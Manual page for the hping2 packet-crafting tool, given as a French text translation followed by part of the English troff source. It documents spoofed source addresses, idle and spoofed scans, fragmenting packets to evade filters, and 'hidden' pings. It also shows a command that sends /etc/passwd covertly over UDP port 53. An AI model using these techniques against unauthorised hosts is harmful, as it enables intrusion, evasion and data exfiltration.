hping3-3.a2.ds2/docs/french/hping2-fr.8.txt000066400000000000000000000736041021454026700203110ustar00rootroot00000000000000HPING2(8) HPING2(8) NOM hping2 - envoie des paquets TCP/IP (presque) arbitraires à des systèmes réseaux RESUME hping2 [ -hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG ] [ -c count ] [ -i wait ] [ --fast ] [ -I interface ] [ -9 signature ] [ -a host ] [ -t ttl ] [ -N ip id ] [ -H ip protocol ] [ -g fragoff ] [ -m mtu ] [ -o tos ] [ -C icmp type ] [ -K icmp code ] [ -s source port ] [ -p[+][+] dest port ] [ -w tcp window ] [ -O tcp offset ] [ -M tcp sequence number ] [ -L tcp ack ] [ -d data size ] [ -E filename ] [ -e signature ] [ --icmp-ipver version ] [ --icmp-iphlen length ] [ --icmp-iplen length ] [ --icmp-ipid id ] [ --icmp-ipproto protocol ] [ --icmp-cksum checksum ] [ --icmp-ts ] [ --icmp-addr ] [ --tcpexitcode ] [ --tcp-timestamp ] [ --tr-stop ] [ --tr-keep-ttl ] [ --tr-no-rtt ] [ --rand- dest ] [ --rand-source ] hostname DESCRIPTION hping2 est un outil réseau capable d'envoyer des paquets TCP/IP sur commande et d'afficher les réponses de la cible comme le programme ping le fait avec les réponses ICMP. hping2 traite la fragmentation, les contenus de paquets et les tailles arbitraires, et peut être utilisé dans le but de transférer des fichiers encapsulés dans les protocoles supportés. En utilisant hping2 vous êtes capable d'effectuer au moins les tâches suivantes : - Tester les règles d'un firewall - Scanner des ports de façon avancée - Tester les performances réseau en utilisant différents protocoles, tailles de paquets, TOS (type de service) et fragmentation. - Découverte de "Path MTU" - Transférer des fichiers même au travers de règles de firewall vraiment fascistes. - Comme traceroute avec différents protocoles. - Utilisation comme Firewalk. - Détermination d'OS à distance. - Audit de pile TCP/IP. - Beaucoup d'autres. C'est également un bon outil didactique pour apprendre TCP/IP. hping2 est développé et maintenu par antirez@invece.org et est sous la version 2 de la licence GPL. Le développement est ouvert donc vous pouvez m'envoyer des patches, suggestions et affronts sans inhi­ bition. SITE DE HPING site primaire sur http://www.hping.org. Vous pouvez trou­ ver à la fois la version stable et les instructions pour télécharger le dernier code source sur http://www.hping.org/download.html OPTIONS DE BASE -h --help Montre l'écran d'aide sur la sortie standard, donc vous pouvez rediriger vers less. -v --version Montre l'information de version et l'API utilisée pour accéder au niveau données (data link layer), linux sock packet ou libpcap. -c --count count Arrête après avoir envoyé (et reçu) count paquets réponse. Après que le dernier paquet a été envoyé hping2 attend COUNTREACHED_TIMEOUT secondes les réponses du système cible. Vous avez la possibilité de régler COUNTREACHED_TIMEOUT en éditant hping2.h -i --interval Attend le nombre spécifié de secondes ou de micro secondes entre l'envoie de chaque paquet. --inter­ val X fixe wait à X secondes, --interval uX fixe wait à X micro secondes. Le défaut est d'attendre une seconde entre chaque paquet. En utilisant hping2 pour transférer des fichiers fixer cette option est très important pour augmenter le taux de transfert. Même en utilisant hping2 pour effectuer des scans passifs/avec usurpation d'adresse vous devriez fixer cette option, voir HPING2-HOWTO pour plus d'informations. --fast Alias pour -i u10000. Hping enverra 10 paquets par seconde. --faster Alias pour -i u1. Plus rapide que --fast ;) (mais pas aussi rapide que votre ordinateur peut envoyer des paquets à cause de la conception basée sur les signaux). -n --numeric Sortie numérique seulement, aucune tentative ne sera faite pour chercher les noms symboliques pour les adresses système. -q --quiet Sortie silencieuse. Rien n'est affiche excepté les lignes de résume au moment du démarrage et quand c'est fini. -I --interface interface name Par défaut sur les systèmes linux et BSD hping2 utilise l'interface de routage par défaut. Sur d'autres systèmes ou quand il n'y a pas d'interface de routage par défaut hping2 utilise la première interface non loopback. Quoi qu'il en soit vous avez la possibilité de forcer hping2 à utiliser l'interface dont vous avez besoin en utilisant cette option. Note : vous n'avez pas besoin de spécifier le nom complet, par exemple -I et va cor­ respondre à eth0 ethernet0 myet1 et cetera. Si aucune interface ne correspond hping2 essayera d'utiliser lo. -V --verbose Active la sortie verbeuse. Les réponses TCP seront affichées comme suit : len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 -D --debug Active le mode de débogage, c'est utile quand vous rencontrez quelques problèmes avec hping2. Quand le mode de débogage est activé vous obtiendrez plus d'informations à propos de la détection des inter­ faces, de l'accès au niveau données, du réglage des interfaces, des options d'analyse, de la fragmenta­ tion, du protocole HCMP et d'autres choses. -z --bind Lie CTRL+Z au time to live (TTL) ainsi vous serez capable d'incrémenter/décrémenter le ttl des paquets sortant en pressant CTRL+Z une ou deux fois. -Z --unbind Dé-lie CTRL+Z ainsi vous serez capable d'arrêter hping2 SELECTION DE PROTOCOLE Le protocole par défaut est TCP, par défaut hping2 enverra des entêtes TCP sur le port 0 du système cible avec une winsize (ndt : taille de fenêtre) de 64 sans aucun drapeau TCP activé. Souvent c'est la meilleure manière de faire un 'ping caché', utile quand la cible est derrière un fire­ wall qui jette ICMP. De plus un paquet TCP null-flag (ndt : sans drapeau) vers le port 0 a de bonnes probabilités de ne pas être journalisé. -0 --rawip Mode RAW IP, dans ce mode hping2 enverra une entête IP avec les données ajoutées avec --signature et/ou --file, voir également --ipproto qui vous autorise à fixer le champ protocole IP. -1 --icmp Mode ICMP, par défaut hping2 enverra un paquet ICMP echo-request, vous pouvez fixer un autre type/code ICMP en utilisant les options --icmptype --icmpcode -2 --udp Mode UDP, par défaut hping2 enverra des paquets UDP vers le port 0 du système cible. Les options réglables des entêtes UDP sont les suivantes : --baseport, --destport, --keep. -8 --scan Mode scan, l'option attend un argument qui décrit des groupes de ports à scanner. Les groupes de ports sont séparés par des virgules : un nombre décrit seulement un port unique, donc 1,2,3 signi­ fie ports 1, 2 et 3. Les intervalles sont spécifiés en utilisant une notation début-fin, comme 1-1000, qui dit à hping de scanner les ports entre 1 et 1000 (inclus). Le mot spécial all est un alors pour 0-65535, pendant que le mot spécial known inclut tous les ports listés dans /etc/services. Les groupes peuvent être combinés, donc la commande suivante scannera les ports entre 1 et 1000 ET le port 8888 ET les ports listés dans /etc/services: hping --scan 1-1000,8888,known -S target.host.com Les groupes peuvent être niés (soustraits) en util­ isant un caractère ! comme préfix, donc la ligne de commande suivante scannera tous les ports NON listés dans /etc/services dans l'intervalle 1-1024 : hping --scan '1-1024,!known' -S target.host.com Gardez à l'esprit que pendant que hping apparaît beaucoup plus comme un scanneur de ports dans ce mode, la plupart des options sont toujours honorées, donc pour effectuer par exemple un scan SYN vous avez besoin de spécifier l'option -S, vous pouvez changer la taille de la fenêtre TCP, le TTL, contrôler la fragmentation IP comme habituellement, et ainsi de suite. La seule différence réelle est que le comportement standard de hping est encapsulé dans un algorithme de scan. Note technique : Le mode scan utilise une concep­ tion basée sur deux processus, avec de la mémoire partagée pour la synchronisation. L'algorithlme de scan n'est toujours pas optimal, mais déjà assez rapide. Conseil : à la différence de la plupart des scan­ neurs, hping montre quelques informations intéressantes à propos des paquets reçus, les champs IP ID, TCP win, TTL, et ainsi de suite, n'oubliez pas de regarder ces informations addi­ tionnelles quand vous effectuez un scan! Quelques fois elles montrent des détails intéressants. -9 --listen signature Mode d'écoute de HPING2, en utilisant cette option hping2 attend les paquets qui contiennent signature et exporte de la fin de la signature à la fin du paquet. Par exemple si hping2 --listen TEST lit un paquet qui contient 234-09sdflkjs45-TESThello_world il affichera hello_world. OPTIONS IP -a --spoof hostname Utiliser cette option dans le but de fixer une fausse adresse source, cette option assure que le système cible n'obtiendra pas votre adresse réelle. Quoi qu'il en soit les réponses seront envoyées à l'adresse usurpée, ainsi vous ne serez pas capable de les voir. Afin de voir comment il est possible d'effectuer des scans avec des adresses usurpées/passifs voir le fichier HPING2-HOWTO. --rand-source Cette option active le mode source aléatoire. hping enverra des paquets avec des adresses sources aléatoires. Il est intéressant d'utiliser cette option pour stresser les tables d'étât d'un fire­ wall, et d'autres tables dynamiques basées sur les IP dans les piles TCP/IP et les firewall logiciels. --rand-dest Cette option active le mode destination aléatoire. hping enverra des paquets à des adresses aléatoires obtenues en suivant la règle que vous avez spécifiée comme système cible. Vous avez besoin de spécifier une adresse IP numérique en tant que système cible comme 10.0.0.x. Toutes les occur­ rences de x seront remplacées avec un nombre aléatoire dans l'intervalle 0-255. Ainsi pour obtenir des adresses IP internet dans l'espace IPv4 complet utilisez quelque chose comme hping x.x.x.x --rand-dest. Si vous n'êtes pas sûrs du genre d'adresses que votre règle génère essayez d'utiliser l'option --debug pour afficher chaque nouvelle adresse destination générée. Attention : quand cette option est activée hping ne peut pas détecter la bonne interface de sortie pour les paquets, ainsi vous devez utiliser l'option --interface pour sélectionner l'interface de sor­ tie. -t --ttl time to live En utilisant cette option vous pouvez fixer le TTL (time to live) des paquets sortant, il est vraisem­ blable que vous utiliserez ceci avec les options --traceroute ou --bind Dans le doute essayez `hping2 some.host.com -t 1 --traceroute'. -N --id Fixe le champ ip->id . La valeur du champ id par défaut est aléatoire mais si la fragmentation est activée et que le champ id n'est pas spécifié alors il sera égal à getpid() & 0xFF, mettre en oeuvre une meilleure solution est dans la liste TODO (ndt : à faire). -H --ipproto Fixe le protocole IP dans le mode RAW IP. -W --winid Le champ id des systèmes Windows* avant Win2k ont un byte ordering (ndt : ordre des octets) différent, si cette option est activée hping2 affichera proprement les champs id des réponses de ces Windows. -r --rel Affiche les incréments du champ id au lieu du champ id. Voir le fichier HPING2-HOWTO pour plus d'infor­ mations. Les incréments ne sont pas calculés comme id[N]-id[N-1] mais en utilisant une compensation de pertes de paquets. Voir le fichier relid.c pour plus d'informations. -f --frag Découpe les paquets en fragments, ceci peut être utile afin de tester les performances de la frag­ mentation des piles IP et de tester si certains filtres de paquets sont si faibles qu'ils peuvent être passés en utilisant de petits fragments (anachronique). Par défaut le 'mtu virtuel' (ndt : taille des fragments) est de 16 octets. Voir égale­ ment l'option --mtu. -x --morefrag Fixe le drapeau IP "more fragments" (ndt : d'autres fragments), utilisez cette option si vous voulez que le système cible envoie un paquet ICMP time- exceeded during reassembly (ndt : délai dépassé durant le ré-assemblage). -y --dontfrag Fixe le drapeau IP "don't fragment" (ndt : ne pas fragmenter), ceci peut être utilisé pour effectuer un MTU path discovery (ndt : découverte de la valeur minimale de la "taille maximale des paquets" sur le chemin). -g --fragoff fragment offset value Fixe l'offset du fragment. -m --mtu mtu value Fixe un 'mtu virtuel' différent de 16 quand la fragmentation est activée. Si la taille des paquets est supérieure au 'mtu virtuel' alors la fragmenta­ tion est automatiquement activée. -o --tos hex_tos Fixe Type Of Service (TOS) (ndt : le type de ser­ vice), pour plus d'informations essayez --tos help. -G --rroute Enregistrer la route. Inclut l'option RECORD_ROUTE dans chaque paquet envoyé et affiche la route présente dans le tampon du paquet retourné. Notez que l'entête IP n'est suffisamment large que pour neuf routes. Beaucoup de systèmes ignorent ou sup­ priment cette option. Notez également qu'en util­ isant hping vous êtes capable d'utiliser l'enreg­ istrement de la route même si le système cible fil­ tre ICMP. Enregistrer la route est une option IP, non pas une option ICMP, ainsi vous pouvez utiliser l'option d'enregistrement de la route même dans les modes TCP et UDP. OPTIONS ICMP -C --icmptype type Fixe le type ICMP, le défaut est ICMP echo request. -K --icmpcode code Fixe le code ICMP, le défaut est 0 (implique --icmp). --icmp-ipver Fixe la version IP de l'entête IP contenue dans les données ICMP, le défaut est 4. --icmp-iphlen Fixe la longueur de l'entête IP contenue dans les données ICMP, le défaut est 5 (5 mots de 32 bits). --icmp-iplen Fixe la longueur du paquet IP de l'entête IP con­ tenue dans les données ICMP, le défaut est la taille réelle. --icmp-ipid Fixe le champ IP id de l'entête IP contenue dans les données ICMP, le défaut est aléatoire. --icmp-ipproto Fixe le protocole IP de l'entête IP contenue dans les données ICMP, le défaut est TCP. --icmp-cksum Fixe la somme de contrôle ICMP, le défaut est la somme de contrôle valide. --icmp-ts Alias pour --icmptype 13 (pour envoyer des requêtes ICMP timestamp). --icmp-addr Alias pour --icmptype 17 (pour envoyer des requêtes ICMP masque réseau). OPTIONS TCP/UDP -s --baseport source port hping2 utilise le port source afin de deviner les numéros de séquence des réponses. Il commence avec un numéro de port source de base, et incrémente ce numéro pour chaque paquet envoyé. Quand un paquet est reçu alors le numéro de séquence peut être cal­ culé comme port.source.réponse - port.source.de.base. Le port source de base par défaut est aléatoire, en utilisant cette option vous êtes capable de fixer un numéro différent. Si vous avez besoin que le port source ne soit pas incrémenté pour chaque paquet envoyé utilisez l'option -k --keep. -p --destport [+][+]dest port Fixe le port destination, le défaut est 0. Si le caractère '+' précède le numéro de port destination (i.e. +1024) le port destination sera incrémenté pour chaque paquet reçu. Si deux '+' précèdent le numéro de port destination (i.e. ++1024), le port destination sera incrémenté pour chaque paquet envoyé. Par défaut le port destination peut être modifié interactivement en utilisant CTRL+z. --keep Garde constant le port source, voir --baseport pour plus d'informations. -w --win Fixe la taille de la fenêtre TCP. Le défaut est 64. -O --tcpoff Fixe un faux offset (ndt : décalage) des données TCP. L'offset normal des données est tcphdrlen / 4. -M --tcpseq Fixe le numéro de séquence TCP. -L --tcpack Fixe le drapeau TCP ack. -Q --seqnum Cette option peut être utilisée afin de collecter les numéros de séquence générés par le système cible. Ceci peut être utile quand vous avez besoin d'analyser si les numéros de séquence TCP sont prévisibles. Exemple de sortie : #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes 2361294848 +2361294848 2411626496 +50331648 2545844224 +134217728 2713616384 +167772160 2881388544 +167772160 3049160704 +167772160 3216932864 +167772160 3384705024 +167772160 3552477184 +167772160 3720249344 +167772160 3888021504 +167772160 4055793664 +167772160 4223565824 +167772160 La première colonne reporte les numéros de séquence, la seconde la différence entre le numéro de séquence courant et le dernier. Comme vous pou­ vez le voir les numéros de séquence du système cible sont prévisibles. -b --badcksum Envoie des paquets avec une mauvaise somme de contrôle UDP/TCP --tcp-timestamp Active l'option TCP timestamp, et essaye de deviner la fréquence de mise à jour du timestamp et l'uptime du système distant. -F --fin Fixe le drapeau TCP FIN. -S --syn Fixe le drapeau TCP SYN. -R --rst Fixe le drapeau TCP RST. -P --push Fixe le drapeau TCP PUSH. -A --ack Fixe le drapeau TCP ACK. -U --urg Fixe le drapeau TCP URG. -X --xmas Fixe le drapeau TCP Xmas. -Y --ymas Fixe le drapeau TCP Ymas. OPTIONS COMMUNES -d --data data size Fixe la taille du corps du paquet. Attention, en utilisant --data 40 hping2 ne générera pas des paquets de 0 octet mais de entête_de_protocole+40 octets. hping2 affichera en information la taille des paquets comme première ligne de sortie, comme ceci : HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes -E --file filename Utilise le contenu du fichier filename pour rem­ plir les données du paquet. -e --sign signature Remplit d'abord longueur de signature octets de données avec signature. Si longueur de signature est plus grand que la taille des données alors un message d'erreur sera affiché. Si vous ne spécifiez pas la taille des données hping utilisera la taille de la signature comme taille des données. Cette option peut être utilisée sans risque avec l'option --file filename, l'espace de données restant sera rempli en utilisant le fichier file­ name. -j --dump Affiche les paquets en hexadécimal. -J --print Affiche les caractères imprimables des paquets reçus. -B --safe Active le protocole safe, en utilisant cette option les paquets perdus dans un transfert de fichier seront renvoyés. Par exemple afin d'envoyer le fichier /etc/passwd depuis le système A au système B vous pouvez utiliser ce qui suit : [host_a] # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd [host_b] # hping2 host_a --listen signature --safe --icmp -u --end Si vous utilisez l'option --file filename, cela vous dit quand la fin du fichier a été atteinte. D'ailleurs cela prévient que l'autre côté accepte plus de paquets. S'il vous plaît, pour plus d'informations voir le fichier HPING2-HOWTO. -T --traceroute Mode traceroute. En utilisant cette option hping2 incrémentera le ttl pour chaque paquet ICMP time to live 0 during transit reçu. Essayez hping2 host --traceroute. Cette option implique --bind et --ttl 1. Vous pouvez l'emporter sur le ttl à 1 en utilisant l'option --ttl. Depuis 2.0.0 stable il affiche les informations de RTT. --tr-keep-ttl garde le ttl fixe en mode traceroute, ainsi vous pouvez contrôler simplement un noeud sur la route. Par exemple, pour contrôler comment le 5ème noeud change ou comment son RTT change vous pouvez essayer hping2 host --traceroute --ttl 5 --tr-keep- ttl. --tr-stop Si cette option est spécifiée hping quittera dès que le premier paquet qui n'est pas un ICMP time exceeded est reçu. Ceci émule mieux le comportement de traceroute. --tr-no-rtt Ne montre pas l'information RTT en mode traceroute. L'information du RTT des ICMP time exceeded n'est même pas calculée si cette option est positionnée. --tcpexitcode Quitte avec le champ tcp->th_flag du dernier paquet reçu comme code de retour. Utile pour les scripts qui ont besoin, par exemple, de savoir si le port 999 de quelque système répond avec SYN/ACK ou avec RST en réponse à un SYN, i.e. le service est lancé ou arrêté. FORMAT DE SORTIE TCP Le format standard de sortie TCP est le suivant : len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms len est la taille, en octets, des données capturées dans la couche liaison de données en excluant la taille de l'entête de liaison de données. Ceci peut ne pas corre­ spondre à la taille du datagramme IP à cause du rembour­ rage bas niveau de la couche liaison de données. ip est l'adresse ip source. flags sont les drapeaux TCP, R pour RESET, S pour SYN, A pour ACK, F pour FIN, P pour PUSH, U pour URGENT, X pour 0x40 non standard, Y pour 0x80 non standard. Si la réponse contient DF l'entête IP possède le bit don't fragment (ndt : ne pas fragmenter) positionné. seq est le numéro de séquence du paquet, obtenu en util­ isant le port source pour les paquets TCP/UDP, le champ séquence pour les paquets ICMP. id est le champ IP ID. win est la taille de la fenêtre TCP rtt est le "round trip time" (ndt : temps aller-retour) en millisecondes. Si vous exécutez hping en utilisant l'option -V de la ligne de commande il affichera des informations supplémen­ taires à propos du paquet, par exemple : len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0 tos est le champ type de service de l'entête IP. iplen est le champ IP longueur totale. seq et ack sont les numéros de séquence et d'acquittement sur 32 bits dans l'entête TCP. sum est la valeur de la somme de contrôle de l'entête TCP. urp est la valeur du pointeur urgent TCP. FORMAT DE SORTIE UDP Le format standard de sortie est : len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms La signification des champs est la même que celle de la sortie TCP pour les champs de même nom. FORMAT DE SORTIE ICMP Un exemple de sortie ICMP est : ICMP Port Unreachable from ip=192.168.1.1 name=nano.mar­ moc.net Il est très facile à comprendre. Il commence avec la chaîne "ICMP" suivie par la description de l'erreur ICMP, dans l'exemple Port Unreachable (ndt : port non accessi­ ble). Le champ ip est l'adresse IP source du datagramme IP contenant l'erreur ICMP, le champ name est simplement l'adresse numérique résolue en un nom (une requête dns PTR) ou UNKNOWN si la résolution a échoué. Le format ICMP de Time exceeded during ou de reassembly est un peu différent : TTL 0 during transit from ip=192.168.1.1 name=nano.mar­ moc.net TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN La seule différence est la description de l'erreur, elle commence avec TTL 0. AUTEUR Salvatore Sanfilippo , avec l'aide des personnes mentionnées dans le fichier AUTHORS et sur http://www.hping.org/authors.html BOGUES Même en utilisant les options --end et --safe pour transférer des fichiers, le paquet final sera rembourré avec des octets 0x00. Les données sont lues sans tenir compte de l'alignement, mais l'alignement est imposé dans les structures de données. Ceci ne sera pas un problème sous i386 mais, alors que normalement les entêtes TCP/IP sont naturelle­ ment alignées, cela peut créer des problèmes avec divers processeurs et des paquets mal-formés si il y a des accès non alignés quelque part dans le code (aucun avec un peu de chance). Sur Solaris hping ne fonctionne pas sur l'interface loop­ back. Ceci semble être un problème solaris, comme exposé dans la liste de diffusion tcpdump-workers, ainsi la libp­ cap ne peut rien faire pour la supporter correctement. VOIR AUSSI ping(8), traceroute(8), ifconfig(8), nmap(1) TRADUCTEUR Denis Ducamp 2001 Aug 14 HPING2(8) hping3-3.a2.ds2/docs/hping2.8000066400000000000000000000500251021454026700156110ustar00rootroot00000000000000.TH HPING2 8 "2001 Aug 14" .SH NAME hping2 \- send (almost) arbitrary TCP/IP packets to network hosts .SH SYNOPSIS .B hping2 [ .B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG ] [ .B \-c .I count ] [ .B \-i .I wait ] [ .B \-\-fast ] [ .B \-I .I interface ] [ .B \-9 .I signature ] [ .B \-a .I host ] [ .B \-t .I ttl ] [ .B \-N .I ip id ] [ .B \-H .I ip protocol ] [ .B \-g .I fragoff ] [ .B \-m .I mtu ] [ .B \-o .I tos ] [ .B \-C .I icmp type ] [ .B \-K .I icmp code ] [ .B \-s .I source port ] [ .B \-p[+][+] .I dest port ] [ .B \-w .I tcp window ] [ .B \-O .I tcp offset ] [ .B \-M .I tcp sequence number ] [ .B \-L .I tcp ack ] [ .B \-d .I data size ] [ .B \-E .I filename ] [ .B \-e .I signature ] [ .B \-\-icmp\-ipver .I version ] [ .B \-\-icmp\-iphlen .I length ] [ .B \-\-icmp\-iplen .I length ] [ .B \-\-icmp\-ipid .I id ] [ .B \-\-icmp\-ipproto .I protocol ] [ .B \-\-icmp\-cksum .I checksum ] [ .B \-\-icmp\-ts ] [ .B \-\-icmp\-addr ] [ .B \-\-tcpexitcode ] [ .B \-\-tcp-timestamp ] [ .B \-\-tr-stop ] [ .B \-\-tr-keep-ttl ] [ .B \-\-tr-no-rtt ] [ .B \-\-rand-dest ] [ .B \-\-rand-source ] hostname .br .ad .SH DESCRIPTION hping2 is a network tool able to send custom TCP/IP packets and to display target replies like ping program does with ICMP replies. hping2 handle fragmentation, arbitrary packets body and size and can be used in order to transfer files encapsulated under supported protocols. Using hping2 you are able to perform at least the following stuff: - Test firewall rules - Advanced port scanning - Test net performance using different protocols, packet size, TOS (type of service) and fragmentation. - Path MTU discovery - Transferring files between even really fascist firewall rules. - Traceroute-like under different protocols. - Firewalk-like usage. - Remote OS fingerprinting. - TCP/IP stack auditing. - A lot of others. .IR "It's also a good didactic tool to learn TCP/IP" . hping2 is developed and maintained by antirez@invece.org and is licensed under GPL version 2. Development is open so you can send me patches, suggestion and affronts without inhibitions. .SH HPING SITE primary site at .BR http://www.hping.org . You can found both the stable release and the instruction to download the latest source code at http://www.hping.org/download.html .SH BASE OPTIONS .TP .I -h --help Show an help screen on standard output, so you can pipe to less. .TP .I -v --version Show version information and API used to access to data link layer, .I linux sock packet or .IR libpcap. .TP .I -c --count count Stop after sending (and receiving) .I count response packets. After last packet was send hping2 wait COUNTREACHED_TIMEOUT seconds target host replies. You are able to tune COUNTREACHED_TIMEOUT editing hping2.h .TP .I -i --interval Wait the specified number of seconds or micro seconds between sending each packet. --interval X set .I wait to X seconds, --interval uX set .I wait to X micro seconds. The default is to wait one second between each packet. Using hping2 to transfer files tune this option is really important in order to increase transfer rate. Even using hping2 to perform idle/spoofing scanning you should tune this option, see .B HPING2-HOWTO for more information. .TP .I --fast Alias for -i u10000. Hping will send 10 packets for second. .TP .I --faster Alias for -i u1. Faster then --fast ;) (but not as fast as your computer can send packets due to the signal-driven design). .TP .I -n --numeric Numeric output only, No attempt will be made to lookup symbolic names for host addresses. .TP .I -q --quiet Quiet output. Nothing is displayed except the summary lines at startup time and when finished. .TP .I -I --interface interface name By default on linux and BSD systems hping2 uses default routing interface. In other systems or when there is no default route hping2 uses the first non-loopback interface. However you are able to force hping2 to use the interface you need using this option. Note: you don't need to specify the whole name, for example -I et will match eth0 ethernet0 myet1 et cetera. If no interfaces match hping2 will try to use lo. .TP .I -V --verbose Enable verbose output. TCP replies will be shown as follows: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 .TP .I -D --debug Enable debug mode, it's useful when you experience some problem with hping2. When debug mode is enabled you will get more information about .B interface detection, data link layer access, interface settings, options .B parsing, fragmentation, HCMP protocol and other stuff. .TP .I -z --bind Bind CTRL+Z to .B time to live (TTL) so you will able to increment/decrement ttl of outgoing packets pressing CTRL+Z once or twice. .TP .I -Z --unbind Unbind CTRL+Z so you will able to stop hping2. .SH PROTOCOL SELECTION Default protocol is TCP, by default hping2 will send tcp headers to target host's port 0 with a winsize of 64 without any tcp flag on. Often this is the best way to do an 'hide ping', useful when target is behind a firewall that drop ICMP. Moreover a tcp null-flag to port 0 has a good probability of not being logged. .TP .I -0 --rawip RAW IP mode, in this mode hping2 will send IP header with data appended with --signature and/or --file, see also --ipproto that allows you to set the ip protocol field. .TP .I -1 --icmp ICMP mode, by default hping2 will send ICMP echo-request, you can set other ICMP type/code using .B --icmptype --icmpcode options. .TP .I -2 --udp UDP mode, by default hping2 will send udp to target host's port 0. UDP header tunable options are the following: .B --baseport, --destport, --keep. .TP .I -8 --scan Scan mode, the option expects an argument that describes groups of ports to scan. port groups are comma separated: a number describes just a single port, so 1,2,3 means port 1, 2 and 3. ranges are specified using a start-end notation, like 1-1000, that tell hping to scan ports between 1 and 1000 (included). the special word .B all is an alias for 0-65535, while the special word .B known includes all the ports listed in /etc/services. .br Groups can be combined, so the following command line will scan ports between 1 and 1000 AND port 8888 AND ports listed in /etc/services: .B hping --scan 1-1000,8888,known -S target.host.com .br Groups can be negated (subtracted) using a ! character as prefix, so the following command line will scan all the ports NOT listed in /etc/services in the range 1-1024: .B hping --scan '1-1024,!known' -S target.host.com .br Keep in mind that while hping seems much more like a port scanner in this mode, most of the hping switches are still honored, so for example to perform a SYN scan you need to specify the .B -S option, you can change the TCP windows size, TTL, control the IP fragmentation as usually, and so on. The only real difference is that the standard hping behaviors are encapsulated into a scanning algorithm. .br .BR "Tech note" : The scan mode uses a two-processes design, with shared memory for synchronization. The scanning algorithm is still not optimal, but already quite fast. .br .BR Hint : unlike most scanners, hping shows some interesting info about received packets, the IP ID, TCP win, TTL, and so on, don't forget to look at this additional information when you perform a scan! Sometimes they shows interesting details. .TP .I -9 --listen signature HPING2 listen mode, using this option hping2 waits for packet that contain .I signature and dump from .I signature end to packet's end. For example if hping2 --listen TEST reads a packet that contain .B 234-09sdflkjs45-TESThello_world it will display .BR hello_world . .SH IP RELATED OPTIONS .TP .I -a --spoof hostname Use this option in order to set a fake IP source address, this option ensures that target will not gain your real address. However replies will be sent to spoofed address, so you will can't see them. In order to see how it's possible to perform spoofed/idle scanning see the .BR HPING2-HOWTO . .TP .I --rand-source This option enables the .BR "random source mode" . hping will send packets with random source address. It is interesting to use this option to stress firewall state tables, and other per-ip basis dynamic tables inside the TCP/IP stacks and firewall software. .TP .I --rand-dest This option enables the .BR "random destination mode" . hping will send the packets to random addresses obtained following the rule you specify as the target host. You need to specify a numerical IP address as target host like .BR 10.0.0.x . All the occurrences of .B x will be replaced with a random number in the range 0-255. So to obtain Internet IP addresses in the whole IPv4 space use something like .BR "hping x.x.x.x --rand-dest" . If you are not sure about what kind of addresses your rule is generating try to use the .B --debug switch to display every new destination address generated. When this option is turned on, matching packets will be accept from all the destinations. .br .BR Warning : when this option is enabled hping can't detect the right outgoing interface for the packets, so you should use the .B --interface option to select the desired outgoing interface. .TP .I -t --ttl time to live Using this option you can set .B TTL (time to live) of outgoing packets, it's likely that you will use this with .B --traceroute or .B --bind options. If in doubt try .BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'." .TP .I -N --id Set ip->id field. Default id is random but if fragmentation is turned on and id isn't specified it will be .BR "getpid() & 0xFF" , to implement a better solution is in TODO list. .TP .I -H --ipproto Set the ip protocol in RAW IP mode. .TP .I -W --winid id from Windows* systems before Win2k has different byte ordering, if this option is enable hping2 will properly display id replies from those Windows. .TP .I -r --rel Display id increments instead of id. See the .B HPING2-HOWTO for more information. Increments aren't computed as id[N]-id[N-1] but using packet loss compensation. See relid.c for more information. .TP .I -f --frag Split packets in more fragments, this may be useful in order to test IP stacks fragmentation performance and to test if some packet filter is so weak that can be passed using tiny fragments (anachronistic). Default 'virtual mtu' is 16 bytes. see also .I --mtu option. .TP .I -x --morefrag Set more fragments IP flag, use this option if you want that target host send an .BR "ICMP time-exceeded during reassembly" . .TP .I -y --dontfrag Set don't fragment IP flag, this can be used to perform .BR "MTU path discovery" . .TP .I -g --fragoff fragment offset value Set the fragment offset. .TP .I -m --mtu mtu value Set different 'virtual mtu' than 16 when fragmentation is enabled. If packets size is greater that 'virtual mtu' fragmentation is automatically turned on. .TP .I -o --tos hex_tos Set .BR "Type Of Service (TOS)" , for more information try .BR "--tos help" . .TP .I -G --rroute Record route. Includes the RECORD_ROUTE option in each packet sent and displays the route buffer of returned packets. Note that the IP header is only large enough for nine such routes. Many hosts ignore or discard this option. Also note that using hping you are able to use record route even if target host filter ICMP. Record route is an IP option, not an ICMP option, so you can use record route option even in TCP and UDP mode. .SH ICMP RELATED OPTIONS .TP .I -C --icmptype type Set icmp type, default is .B ICMP echo request (implies --icmp). .TP .I -K --icmpcode code Set icmp code, default is 0 (implies --icmp). .TP .I --icmp-ipver Set IP version of IP header contained into ICMP data, default is 4. .TP .I --icmp-iphlen Set IP header length of IP header contained into ICMP data, default is 5 (5 words of 32 bits). .TP .I --icmp-iplen Set IP packet length of IP header contained into ICMP data, default is the real length. .TP .I --icmp-ipid Set IP id of IP header contained into ICMP data, default is random. .TP .I --icmp-ipproto Set IP protocol of IP header contained into ICMP data, default is TCP. .TP .I --icmp-cksum Set ICMP checksum, for default is the valid checksum. .TP .I --icmp-ts Alias for --icmptype 13 (to send ICMP timestamp requests). .TP .I --icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests). .SH TCP/UDP RELATED OPTIONS .TP .I -s --baseport source port hping2 uses source port in order to guess replies sequence number. It starts with a base source port number, and increase this number for each packet sent. When packet is received sequence number can be computed as .IR "replies.dest.port - base.source.port" . Default base source port is random, using this option you are able to set different number. If you need that source port not be increased for each sent packet use the .I -k --keep option. .TP .I -p --destport 